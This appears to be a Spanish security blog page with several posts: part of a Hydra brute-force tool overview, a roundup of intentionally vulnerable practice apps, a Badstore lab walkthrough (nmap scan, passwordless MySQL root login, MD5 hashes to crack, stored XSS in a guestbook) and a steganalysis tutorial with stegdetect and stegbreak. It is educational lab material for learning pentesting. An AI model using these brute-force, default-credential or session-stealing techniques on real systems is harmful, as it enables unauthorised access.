server El servidor objetivo si no hemos usado la opcion -M

service Servicio a crackear. Protocolos soportados: telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp.

HydraGTK es la versión GUI de hydra, y es útil para el que no quiera perder el tiempo con la consola e ir directamente al ataque, igual de potente y flexible.

hydra

Hydra es una esas herramientas que nos enseñan que es muy fácil forzar la seguridad con un mecanismo tan simple como la fuerza bruta. Ojo, no todos los usos de hydra tienen porqué ser maliciosos, pues ha sido muchas veces utilizado para recuperar contraseñas que otros habían olvidado 😉


  • 0

Damn Vulnerables Applications

Vamos a hacer un pequeño repaso de algunas herramientas para los que quieren comenzar con el pentesting sin meterse en “líos” y sin complicaciones, ya que, en su mayoría son live cds que podemos arrancar en una máquina virtual. Esto nos permitirá adecuar el escenario en el que vamos a realizar la auditoría, normalmente un ordenador en el mismo rango de ip que el auditor y con su consentimiento ya que es él mismo.

 

Hacking de aplicaciones Web
dvwaDVWA

DVWA Es una web escrita en PHP que nos ofrece un montón de vulnerabilidades por explotar, entre otras, fuerza bruta, SQLi, SSX, etc. Es muy fácil de instalar puesto que tiene una versión livecd o bien podemos publicarla en un servidor web propio. Nos permite configurarla en 3 niveles de dificultad. Está aplicación es genial si lo que se quiere es entender la mecánica de la obtención de datos a través de inyecciones SQL y además ver en vivo como funciona.

webgoat

WebGoat
Ya había mencionando a WebGoat en un artículo anterior sobre OWASP. Esta aplicación incluye incluso más vulnerabilidades que la anterior y por lo tanto más exhaustiva, funciona en cualquier sistema operativo que permita instalar una máquina virtual de java, ya que está escrito en dicho lenguaje.

Hay muchas otras aplicaciones con vulnerabilidades que podemos encontrar por internet, ya sea en forma de livecd o de página web. Hay numerosos grupos de hackers y expertos en seguridad que las publican para que los novatos practiquen y/o incluso ingresen a sus grupos, si superan los retos correspondientes.

 

Hacking iOS

dvwiosDVIA
Para testear tus skills en hacking de sistemas iOS  en varios aspectos de la seguridad, como puede ser el almacenamiento inseguro o la detección del jailbreak entre otros tantos. Todos basados en vulnerabilidades ya parcheadas de iOS, pero que no deja de ser interesante por ello.

 

Hacking en sistemas linux

hacking_dojo
Hacking dojo
Hacking dojo es una web que ofrece servicios de instrucción en cuanto al pentesting, e-learning en 5 niveles, de novicio a más avanzado.
En esta web podrás encontrar varios live cd muy interesantes, cuando los arrancas, en ellos se encuentran normalmente instalado un servidor web donde indica cual es el objetivo que tenemos que lograr. Estas distribuciones vulnerables están basadas en linux y exigen conocimientos sobre algunos aspectos del sistema, pero a su vez nos embarcará en una serie de retos muy interesantes que nos obligarán a pensar “out of the box” y enfrentarnos al escenario típico de un servidor al que queremos sacar la clave del root.


  • 0

Badstore: Seguridad sin meterse en líos

Casi siempre que alguien empieza a comprobar la seguridad en aplicaciones web, comienza con un navegador colando una comilla (‘) en alguna variable para comprobar si salta algún error, no es una práctica muy ética ir inyectando a diestro y siniestro y menos si lo que buscamos es formarnos sobre cómo funcionan los ataques a páginas web. Para ello necesitamos tener nuestro entorno de pruebas en una red local donde podamos hacer todas las perrerías sin tener k preocuparnos por la ley.

badstoreLogo1

Badstore es una imagen ISO de unos 12Mb, incluye una distribución live de Trinux que arranca un servidor web con una página que imita a una tienda, pero con un montón de vulnerabilidades. Para ejecutarla sólo necesitamos una máquina virtual con 64Mb de RAM. Para ello creamos una máquina virtual con cualquier software de virtualización como VM-Ware o VirtualBox. Antes de arrancar la máquina nos aseguramos que la interfaz de red está en modo puente (Máquina>>Configuración>>Red).

Captura de pantalla de 2014-02-24 18:40:59

Una vez hecho esto iniciamos la máquina virtual, Cuando arranquemos estará un rato cargando y nos pedirá que presionemos “enter” para acceder a la consola. Una vez dentro, podemos teclear “help | more” para encontrar un listado de todos los comandos disponibles.

Captura de pantalla de 2014-01-07 10:20:14

Si tenemos un servidor DHCP en la red sólo tendremos que teclear “ifconfig” para averiguar qué dirección ip nos ha asignado. En cambio, si no nos asigna la direccion IP automáticamente, podremos asignarla nosotros con este comando:

ifconfig -a 192.168.x.x

Algunas de las vulnerabilidades que vas a encontrar son:

  • SQLi (SQL Injection)
  • XSS (Cross Site Scripting)
  • Modificación de cookies
  • Denegación de servicio

Poniéndonos a investigar un poco NMap nos devuelve esta lista de puertos disponibles en nuestra máquina virtual.

Not shown: 997 closed ports
PORT     STATE SERVICE  VERSION
80/tcp   open  http     Apache httpd 1.3.28 ((Unix) mod_ssl/2.8.15 OpenSSL/0.9.7c)
| robots.txt: has 5 disallowed entries 
|_/cgi-bin /scanbot /backup /supplier /upload
|_html-title: Welcome to BadStore.net v1.2.3s
443/tcp  open  ssl/http Apache httpd 1.3.28 ((Unix) mod_ssl/2.8.15 OpenSSL/0.9.7c)
|_html-title: Welcome to BadStore.net v1.2.3s
| robots.txt: has 5 disallowed entries 
|_/cgi-bin /scanbot /backup /supplier /upload
|_sslv2: server still supports SSLv2
3306/tcp open  mysql    MySQL 4.1.7-standard
| mysql-info: Protocol: 10
| Version: 4.1.7-standard
| Thread ID: 5
| Some Capabilities: Connect with DB, Compress, Secure Connection

En el reporte podemos comprobar como aparte de los dos puertos web disponibles (80 y 445 para SSL) tenemos el puerto 3306 abierto con MySQL. La primera vulnerabilidad que vemos llega al probar a entrar en el mysql con el usuario administrador (en este caso no tiene password), así por tanto si ejecutamos el comando:

mysql -u root -h 192.168.1.X

una vez dentro podremos ejecutar “SHOW databases;” y seguidamente conectarnos a la base de datos con “CONNECT badstoredb;”

Captura de pantalla de 2014-02-24 18:17:21

Una vez conectados podemos investigar un poco y ver de qué forma está implementada la seguridad de las contraseñas de los usuarios. En este caso vemos que las contraseñas están cifradas en md5 (un campo de pruebas perfecto para probar software como John the ripper o Hashcat) y en algún caso el campo de password está en NULL.

Captura de pantalla de 2014-02-24 18:19:39

Ahora podemos introducir en nuestro navegador del ordenador anfitrión http://ip-del-server y accederemos a nuestro entorno de pruebas para poder realizar cualquier fechoría sin tener que preocuparnos si nos saltamos la ley o no. Una vez accedemos a través del navegador nos encontramos en la página principal.

Captura de pantalla de 2014-02-24 18:45:16

La primera vulnerabilidad que vamos a explotar se encuentra detrás del vínculo “Sigin in our guestbook”, se nos abre un libro de visitas en el cuál podemos realizar ataques XSS de tipo persistente. XSS es un acrónimo de Cross Site Scripting (solo que en vez de C pusieron X para que no se confundiera con CSS),  coexisten dos tipos de ataques XSS, directo e indirecto, el objetivo de los ataques es ejecutar codigo javascript o similar (jquery, ajax…) en el navegador del cliente, con el objetivo de extraer la información de la sesión guardada en el navegador para poder acceder al recurso que sea remotamente. En este caso, podemos escribir código javascript en el formulario, de tal forma que todo usuario que acceda a esa página ejecutará el código que hemos introducido.

En el siguiente post de badstore seguiremos dándole caña, un saludo!!

 

 


  • 0

Esteganografía: Descubriendo archivos ocultos con xsteg.

Lo complicado en la esteganografía es detectar si el archivo que hemos recibido tiene o no un archivo oculto. El método tradicional es abrir el fichero con un editor hexadecimal como Hex Editor y analizar el fichero con detenimiento, pero si queremos algo más sencillo necesitamos un software que nos automatice un poco el proceso, por ejemplo, tenemos en la distribución C.A.IN.E el programa xsteg, un interfaz gráfico simple de la aplicación stegdetect que nos permite analizar el fichero .jpg aplicándole tests y distintos grados de sensibilidad al escaneo.

Para utilizarlo simplemente lo abrimos desde el menú inicio de C.A.IN.E y nos vamos al submenú de forensic tools, en éste menú disponemos de un amplio catálogo de herramientas de informática forense.

forensic_tools_caine

En este caso he hecho la prueba con la imagen que usé en el anterior post de steghide, en la cual escondimos un pequeño documento con extensión .txt
En los dos primeros escaneos el programa me devolvió que no tenía ningún fichero oculto, ¿Cómo que no?. En el siguiente test aumentamos la sensibilidad de 1.60 a 5.60 y en este caso sí nos dio positivo en la prueba de jphide.

captura_xsteg

Cuando ya sabemos qué puede contener sólo nos queda abrirnos una consola y ejecutar steghide para sacar datos más concretos, en el caso que el fichero oculto no estuviese cifrado. Si tuviese una password, todavía podemos intentar averigurarla con stegbreak, un software que también está incluido en la distribución C.A.IN.E con el que podremos pasarle un diccionario para hallar la contraseña por fuerza bruta.
Si queremos profundizar un poco más en los escaneos a ficheros .jpeg debemos revisar el manual de stegdetect, donde podremos encontrar los distintos tipos de test que le podemos pasar a nuestra imagen.

stegdetect_manual_tests

Hay proyectos españoles de estegoanálisis como StegSecret, el cual engloba características tan interesantes como poder analizar BMP y GIF además de jpeg, la implementación de algoritmos que detectan información ocultada con técnicas LSB en píxeles elegidos de forma secuencial y/o pseudoaletoria (chi-square, rs-attack, etc), ocultación en coeficientes DCTs en JPEG, en paleta de ficheros GIF, ocultación en ADS, ocultación en fragmentación interna, ocultación en lenguajes interpretados (HTML, XML, etc). Podemos echar un vistazo a su página web .